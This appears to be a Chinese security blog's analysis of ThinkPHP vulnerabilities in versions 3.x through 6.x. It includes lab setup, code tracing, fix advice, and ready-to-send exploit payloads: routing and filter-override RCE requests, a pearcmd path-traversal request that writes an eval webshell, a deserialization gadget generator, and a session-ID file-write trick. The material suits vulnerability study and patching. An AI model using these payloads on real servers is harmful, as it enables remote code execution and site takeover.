Thinkphp安全漏洞分析

1.环境安装

1.1.PHP+IDE安装

  1. Windows-php下载地址

  2. 配置环境变量。

  3. 安装PHPSTORM

  4. 配置项目解释器

image-20250319004657356

image-20250319004716996

1.2.Composer安装

  • Composer下载

  • 设置国内镜像

    1
    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
  • 可能遇到composer ssl问题,在ini中添加openssl扩展extension=openssl

  • 创建thinkphp项目

    1
    composer create-project topthink/think=6.0.* tp60 --ignore-platform-reqs

1.3.Xdebug安装

  1. 下载Xdebug

  2. 配置Xdebug

    • 配置php.ini文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    [Xdebug]
    zend_extension=D:/Language/PHP/php7.3.4nts/ext/php_xdebug.dll ;下载的对应版本的Xdebug文件
    xdebug.collect_params=1
    xdebug.collect_return=1
    xdebug.auto_trace=Off
    xdebug.trace_output_dir=D:/Language/PHP/php7.3.4nts/php_log/php7.3.4nts.xdebug.trace
    xdebug.profiler_enable=Off
    xdebug.profiler_output_dir="D:/Language/PHP/php7.3.4nts/tmp/xdebug"
    xdebug.remote_host=localhost
    xdebug.remote_port=9000
    xdebug.remote_handler=dbgp
    xdebug.remote_autostart=1
    xdebug.remote_enable=On
    xdebug.idekey="PHPSTORM"

    • 我使用的是phpstudy默认下载的xdebug版本
  3. PHPSTORM Xdebug配置

    • 需要先配置一下host 文件,给本地配置个域名。127.0.0.1 x.cn
    • 配置PHPSTORM

    image-20250319005126497

    image-20250319005152322

    image-20250319005205147

    • 使用内置的Web服务器启动

    image-20250319005344699

1.4.ThinkPHP集合环境搭建

  • 3.x github 地址https://github.com/top-think/thinkphp.git

  • # 完整应用库 5^ github 地址
    git clone https://github.com/top-think/think tp5
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    - 通过git clone 下载到本地,然后使用`git checkout [tag]`切换版本,或者自定义自己想要的版本

    - 如果更改了代码需要切换版本

    ```cmd
    # 场景一:仅查看代码,不做修改
    git checkout -f 3.2.2 # 强制切换并丢弃本地修改
    git clean -fd # 清理未追踪文件(谨慎操作)

    # 场景二:需要基于此版本开发
    git checkout -b my-3.2.2 3.2.2 # 创建新分支锚定在此版本
  • 或者使用composer构建对象

1
2
3
composer info topthink/think --all # 显示所有可用版本
composer create-project topthink/think=6.0.* tp60 # 创建项目
composer update --ignore-platform-reqs # 更新依赖

-

  • 解决安装项目后自动更新版本的问题。
1
2
composer require topthink/framework:5.0.12 #手动降级到5.0.12
composer show topthink/framework #显示当前版本

2. —3.x版本分析

2.2.原理分析

  • 在ThinkPHP框架中,$this->assign($value);$this->display(); 是控制器中用于向视图传递数据并渲染模板的核心方法。
  • 但在$value可控的前提下,就可能包含本地文件,如果包含本地日志文件的化,就会造成远程命令执行。
  • 业务代码中模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

2.2.漏洞复现

  • 注意在漏洞复现时需要新建一个html文件,否则即使正常传值时也会报错。

image-20250320012700000

  • 当前thinkphp版本3.2.2

image-20250320005906404

  • 通过m参数将php代码写入到日志文件
  • 这里要注意不能进行url编码,否则写入到日志文件中是不会解码的,这样即使文件包含了,代码也不会执行。

image-20250320005057217

  • 由于是3.2.2版本,因此日志文件会直接生成在当前WEB根目录

image-20250320005710953

  • 3.2.4版本在./Application/Runtime/Logs/Common/25_03_20.log路径下,因此目前看来,不同的版本注入参数时,产生的日志文件的位置不同,因此如果在盲打的话一定要在多个路径尝试包含。或者直接目录爆破。

image-20250320013715412

  • 然后直接利用对assign()方法参数使用数组进行传参,文件包含成功,执行phpinfo。

image-20250320010057431

2.3.代码跟踪

  • 首先是assign方法。
  • ThinkPHP/Library/Think/Controller.class.php

image-20250320010356087

image-20250320010705146

  • 然后display方法

image-20250320010733699

  • ThinkPHP/Library/Think/View.class.php

image-20250320010753670

image-20250320010828101

  • ThinkPHP/Library/Think/Hook.class.php

image-20250320011206942

image-20250320011418251

ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php

image-20250320011450838

  • ThinkPHP/Library/Think/Template.class.php

image-20250320011703823

  • ThinkPHP/Library/Think/Storage.class.php

image-20250320011753271

  • ThinkPHP/Library/Think/Storage/Driver/File.class.php

image-20250320011834980

  • 最后在File.class.php文件中包含传入的文件。

3.一5.x版本分析

3.1.CNVD-2018-24942(t5RCE)

​ ThinkPHP 5 的路由解析机制存在缺陷,攻击者可通过构造恶意 URL 参数触发框架内部方法调用链,最终实现远程代码执行(RCE)。该漏洞的核心在于 未充分过滤的路由参数动态函数调用的滥用

环境

ThinkPHP 5.0.12
php 7.3

影响版本

ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30

3.1.1.原理

  • 默认情况下,安装的ThinkPHP没有开启强制路由选项,默认开启的是路由兼容选项,因为没有开启强制路由,因此可以使用路由兼容参数s来调用任意的控制器,从而达到RCE的效果。

image-20250320232600925

3.1.2.完整调用逻辑

以下是漏洞的完整利用链:

  1. 路由解析缺陷
    ThinkPHP 5 的默认路由模式(pathinfo 或兼容模式)会将 URL 中的 s 参数解析为 控制器/方法 的路径。例如:

    1
    /index.php?s=/Index/hello

    对应调用 app\index\controller\Index 控制器的 hello 方法。

  2. 命名空间注入
    攻击者通过注入命名空间字符 \,绕过默认控制器限制,直接调用框架核心类 think\Appinvokefunction 方法:

    1
    s=/\think\App/invokefunction
    • \think\App:指向框架核心类 App
    • invokefunction:该类中用于动态执行函数的方法。
  3. 动态函数调用
    invokefunction 方法允许通过参数动态调用任意函数。攻击者传递以下参数:

    1
    function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    • call_user_func_array:PHP 函数,用于调用回调函数并传递数组参数。
    • system:系统命令执行函数。
    • whoami:待执行的命令。
  4. 代码执行流程
    框架内部处理过程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // think\App 类中的 invokefunction 方法
    public static function invokefunction($function, $vars = []) {
    $call = $function;
    if ($call instanceof \Closure) {
    // ...
    } elseif (is_array($call)) {
    $result = call_user_func_array($call, $vars);
    } else {
    $result = call_user_func_array($call, $vars); // 漏洞触发点
    }
    return $result;
    }
    • 攻击者通过参数控制 $function$vars,最终调用 call_user_func_array(system, ['whoami']),执行系统命令。

3.1.2.漏洞复现

  • PoC
1
http://x.cn:8000/index?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

image-20250321010529761

3.2.Thinkphp5.0.23变量覆盖RCE

漏洞编号:CVE-2018-20062(ThinkPHP 5.x 请求方法伪造RCE)

3.2.1.漏洞原理

ThinkPHP 5.0.23 的变量覆盖RCE漏洞本质是 框架对用户输入参数的过滤不严格,导致攻击者可以覆盖关键配置参数或触发动态代码执行逻辑。

过滤器参数注入 + 动态函数调用

通过覆盖 filter 参数,利用框架的 输入过滤机制 触发动态函数调用:

  • 参数构造

    1
    2
    POST /index.php?s=index/index
    _method=__construct&filter[]=system&method=GET&get[]=whoami
  • 漏洞触发链

    1. _method=__construct 覆盖 Request 类的构造函数。
    2. filter[]=system 将输入过滤器设置为 system 函数。
    3. get[]=whoamiGET 参数作为 system 的参数传入。

关键代码逻辑Request 类):

1
2
3
4
5
6
public function filterValue($value, $filter) {
foreach ($filter as $f) {
$value = call_user_func($f, $value); // 直接调用用户传入的过滤器函数
}
return $value;
}
  • 其核心利用链为:
    参数覆盖 → 配置篡改/逻辑篡改 → 动态代码执行

理解这一原理后,可进一步分析其他版本或框架的类似漏洞(如Laravel、Spring等)。

3.2.2.漏洞复现

  • 各版本的利用链有所区别PoC

1. ThinkPHP 5.0.5 ~ 5.0.10 (我尝试了5.0.12也可行)

利用链
_method 参数覆盖 → 构造函数参数注入 → filter 直接调用系统函数。

POC

1
2
3
4
5
POST /index.php?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=GET&get[]=whoami

说明

  • 直接通过 _method=__construct 覆盖 Request 类的构造函数,注入 filtermethod 参数。
  • 适用于未对 filter 参数进行严格过滤的早期版本。

2. ThinkPHP 5.0.11 ~ 5.0.15

利用链变化
框架对 filter 参数的处理方式调整,需通过 filter 参数覆盖全局过滤器。

POC

1
2
3
4
5
POST /index.php?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter=system&method=GET&get[]=whoami&server[REQUEST_METHOD]=1

说明

  • 添加 server[REQUEST_METHOD]=1 绕过部分版本对请求方法的校验。
  • filter=system 直接指定全局过滤器为 system 函数。

3. ThinkPHP 5.0.12

POC:

1
2
3
4
5
POST /index.php?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=GET&get[]=calc

3. ThinkPHP 5.0.16 ~ 5.0.22

利用链变化
框架进一步限制 filter 参数类型,需通过数组形式注入过滤器。

POC

1
2
3
4
5
POST /index.php?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=assert&method=GET&get[]=phpinfo()&server[REQUEST_METHOD]=1

说明

  • 使用 filter[]=assert 替代 system,通过 assert 执行PHP代码(需目标环境开启 assert 函数)。
  • 部分版本禁用 system 的显式调用,改用 assertpassthru

4. ThinkPHP 5.0.20+ 特殊绕过

利用链变化
5.0.20 后修复了 _method 直接覆盖构造函数的漏洞,需结合路由特性绕过。

POC

1
POST /index.php?s=index/\think\Request/input&filter[]=system&data=whoami&_method=GET

说明

  • 通过路由调用 think\Request/input 方法,直接触发 filter 参数。
  • 需依赖框架的路由解析特性,且目标存在未授权访问的控制器方法。

各版本利用链对比表

版本范围 关键参数 过滤器函数 额外参数 利用链特点
5.0.5 ~ 5.0.10 _method=__construct system 直接覆盖构造函数
5.0.11 ~ 5.0.15 filter=system system server[REQUEST_METHOD] 全局过滤器注入
5.0.16 ~ 5.0.19 filter[]=assert assert server[REQUEST_METHOD] 改用 assert 绕过限制
5.0.20 ~ 5.0.22 s=index/\think\Request/input system _method=GET 路由调用内部方法绕过修复

image-20250321220105494

image-20250321223225042

3.3 lang命令执行漏洞

根据搜索结果,ThinkPHP的lang命令执行漏洞(QVD-2022-46174)主要影响特定版本,且利用方式与多语言功能及pearcmd扩展相关。以下是漏洞的详细复现流程及影响版本说明:


影响版本

  • ThinkPHP 6.0.1 ~ 6.0.13
  • ThinkPHP 5.0.x
  • ThinkPHP 5.1.x

    注:漏洞需满足以下条件:

    1. 目标系统启用了多语言功能(lang参数可控)。
    2. 存在pearcmd.php文件(默认路径为/usr/local/lib/php/pearcmd)。

知识储备:

  1. HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。

  2. PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。

  3. Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。

  4. config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径

漏洞复现流程

1. 环境搭建

  • 使用docker部署漏洞环境(如Vulfocus靶场):
    1
    docker run -d -p 80:80 vulfocus/vulfocus
  • 访问目标URL,例如:http://<靶机IP>/public/index.php

2. 构造Payload

通过lang参数实现路径遍历,并利用pearcmdconfig-create功能写入WebShell:
Payload示例

1
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/public/shell.php
  • 参数解析
    • lang=../../../../../../../../usr/local/lib/php/pearcmd:通过目录遍历定位pearcmd.php
    • +config-create+:调用pearcmdconfig-create方法创建文件。
    • /<?=@eval($_REQUEST['cmd']);?>:写入的PHP代码(一句话木马)。
    • +/var/www/html/shell.php:WebShell保存路径。

3. 发送Payload

使用工具(如BurpSuite)发送构造的请求:

  • 请求方法:GET或POST均可。

  • 示例请求

    1
    2
    GET /public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/public/shell.php HTTP/1.1
    Host: <靶机IP>
  • 不要使用hackbar发包,默认情况下特殊字符会被编码处理,这样就会导致,php代码被编码处理,无法执行。

image-20250324232523837

4. 验证利用

  • 访问WebShell路径:http://<靶机IP>/shell.php
  • 使用蚁剑等工具连接,执行任意命令(如cmd=system('whoami');)。

修复建议

  1. **禁用register_argc_argv**:在php.ini中设置register_argc_argv=Off,阻止通过URL传递命令行参数。
  2. 升级框架版本:ThinkPHP 6.x用户需升级至6.0.14及以上版本,5.x用户建议升级至官方修复版本。
  3. **删除pearcmd.php**:若无需使用PEAR扩展,可删除相关文件。

总结

该漏洞的核心在于通过lang参数实现路径遍历,结合pearcmd的命令行参数功能写入恶意代码。复现时需注意目标环境是否满足漏洞条件,并确保Payload的路径和参数正确编码。实际利用中可能需根据服务器路径调整目录遍历层级。

4. 6.x版本分析

4.1 T6.0-12LTS反序列化漏洞复现与原理详解

一.漏洞背景

ThinkPHP6.0.12LTS版本存在反序列化漏洞(CVE-2022-33107),攻击者可通过构造恶意序列化数据触发链式调用,最终实现任意代码执行。该漏洞影响范围覆盖6.0.1至6.0.12版本,危害等级为高危。


二、漏洞原理分析

  • 利用条件,需要可控存在反序列化入参。
  1. 入口点
    漏洞起点位于Model类的__destruct()方法。当对象销毁时,若$this->lazySavetrue,则会调用save()方法,进而触发后续利用链。
  2. 利用链关键路径
    • save()方法:需绕过isEmpty()(需$this->data非空)和trigger()(需$this->withEventfalse)的判断,进入updateData()
    • checkAllowFields()方法:调用db()方法时,若$this->table为对象,会触发其__toString()方法。
    • __toString()触发:通过toArray()遍历$this->data,调用getAttr()getValue(),最终进入getJsonValue()方法。此处通过$closure($value[$key], $value)执行命令,要求$this->jsonAssoctrue$this->withAttr为可控的闭包数组。
  3. 版本差异
    • 6.0.12修复绕过:旧版本可直接通过$closure调用函数,但6.0.12增加了闭包类型检查,需通过getJsonValue()中的数组遍历执行命令。
  4. 个人理解
    • 该漏洞的命令执行点在模型数据处理文件Attribute.phpgetJsonValue方法中,其中将$closure变量以函数的形式方式,不仅该$closure参数可控,同时该可变函数的入参可是用户可控制的,因此导致了,命令执行漏洞的产生。
    • 其他的基本就是一些细节绕过。

三、漏洞复现步骤

  1. 环境搭建

    • 安装ThinkPHP6.0.12:
      1
      composer create-project topthink/think tp6.0.12
    • 创建存在反序列化入口的控制器(如app/controller/Index.php):
      1
      2
      3
      public function test() {
      unserialize($_POST['a']);
      }
  2. 生成POC
    构造恶意序列化数据,触发命令执行(以执行whoami为例):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    namespace think;
    abstract class Model {
    private $lazySave = true;
    private $data = ['whoami' => ['dir']];
    protected $table;
    private $withAttr = ['whoami' => ['system']];
    protected $json = ['whoami'];
    protected $jsonAssoc = true;
    public function __construct($obj) {
    $this->table = $obj;
    }
    }
    namespace think\model;
    use think\Model;
    class Pivot extends Model {}
    $a = new Pivot(new Pivot());
    echo urlencode(serialize($a));

    生成的Payload通过POST参数a发送至/index/test路由。

  3. 验证漏洞
    发送Payload后,若服务器执行命令(如whoami),则返回当前系统用户信息,证明漏洞利用成功。


四、关键参数说明

  • **$lazySave**:必须为true以触发save()方法。
  • **$data**:需包含可控键值对(如['whoami' => ['dir']])。
  • **$withAttr**:指定闭包函数(如['whoami' => ['system']])。
  • **$json$jsonAssoc**:$json需包含键名,$jsonAssoc设为true以触发数组处理逻辑。

五、修复建议

  1. 升级框架:官方已发布安全更新,建议升级至6.0.13及以上版本。
  2. 输入过滤:避免反序列化用户可控数据,或使用白名单机制限制反序列化类。
  3. 代码审计:检查项目中是否存在类似unserialize()函数直接处理外部输入的情况。

六、漏洞影响与总结

该漏洞通过链式调用多个魔术方法(__destruct__toString)和可控属性实现RCE,是典型的反序列化利用场景。开发者在处理序列化数据时需严格验证输入,并及时跟进框架安全更新。

4.2.thinkphp6.0.0-1任意文件写入

一、漏洞影响版本

该漏洞影响 ThinkPHP 6.0.0 至 6.0.1 版本,主要由于框架在处理 SessionId 时未对用户输入进行严格过滤,导致攻击者可通过构造恶意 PHPSESSID 实现任意文件写入或删除。修复版本为 6.0.2 及以上,通过引入 ctype_alnum() 函数限制 SessionId 仅包含字母和数字。


二、漏洞原理

  1. SessionId 可控
    漏洞核心在于 SessionInit 中间件从 Cookie 中获取 PHPSESSID 的值后,未校验其合法性。若 PHPSESSID 长度为 32 位,框架会直接将其作为会话 ID,进而构造文件路径时允许目录穿越(如 ../../../../public/shell.php)。

  2. 文件写入逻辑
    Session 数据序列化后写入文件时,文件名由 sess_ 拼接 PHPSESSID 生成。攻击者通过控制 PHPSESSID 的路径部分(如 ../../public/shell.php),结合可控的 Session 数据(如通过参数设置 session('key','恶意代码')),实现任意文件写入。

  3. 修复方案
    ThinkPHP 6.0.2 版本在 Store.php 中添加 ctype_alnum($id) 检查,仅允许字母和数字组合的 SessionId,阻断路径穿越。


三、复现步骤

环境搭建
  1. 安装 ThinkPHP 6.0.0
    使用 Composer 创建项目并指定版本:

    1
    composer create-project topthink/think tp60 6.0.0
  2. 开启 Session 中间件
    修改 app/middleware.php,取消 SessionInit 中间件的注释:

    1
    return [\think\middleware\SessionInit::class];
  3. 添加漏洞触发代码(可选)
    在控制器中增加 Session 参数接收逻辑(示例代码):

    1
    2
    3
    4
    5
    6
    7
    class Index extends BaseController {
    public function index() {
    $a = input('a');
    $b = input('b');
    session($a, $b);
    }
    }
漏洞利用
  1. 构造恶意请求
    通过 Cookie 设置 PHPSESSID 为目录穿越路径(需满足 32 位长度),例如:

    1
    PHPSESSID=../../../../public/shell.php

    若长度不足,可填充字符(如 ../../public/shell.php1234567890)。

  2. 触发文件写入
    发送 GET 请求设置 Session 数据,写入 PHP 代码:

    1
    http://target.com/index.php?a=key&b=<?php phpinfo();?>

    成功写入后,文件路径为:
    tp60/runtime/session/sess_../../../../public/shell.php
    实际会解析为 public/shell.php,访问即可执行代码。


四、关键注意事项

  1. Session 依赖
    漏洞需目标系统启用 Session 中间件,默认配置中未开启。

  2. 写入内容限制
    默认 Session 数据会序列化存储,直接写入 PHP 代码需避免格式破坏(如通过参数控制完整 Payload)。

  3. 防御措施
    升级至 6.0.2+ 版本,或手动添加 ctype_alnum() 校验,禁用非字母数字字符。


五、扩展参考